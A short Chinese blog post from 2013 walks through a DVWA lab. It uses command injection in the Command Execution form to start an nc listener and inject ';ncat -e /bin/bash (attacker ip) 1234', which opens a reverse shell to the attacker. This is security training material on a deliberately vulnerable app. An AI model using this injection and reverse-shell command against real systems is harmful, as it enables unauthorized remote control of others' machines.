注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

碳基体

http://weibo.com/tanjiti

 
 
 
 
 

日志

 
 

用DVWA命令行注入实验nc反弹shell  

2013-03-29 16:19:33|  分类: web app security |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |


第一步:在攻击者电脑上使用nc在1234端口开启一个监听

root@bt:~# nc -n -v -l -p 1234
Ncat: Version 6.26SVN ( http://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234


第二步:访问DVWA(受害者电脑上搭建) 的Command Execution示例中输入

;ncat -e /bin/bash (攻击者ip) 1234

用DVWA命令行注入实验nc反弹shell - 碳基体 - 碳基体

点击提交,攻击者获得受害者的一个webshell
 用DVWA命令行注入实验nc反弹shell - 碳基体 - 碳基体



  评论这张
 
阅读(805)| 评论(0)
推荐

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017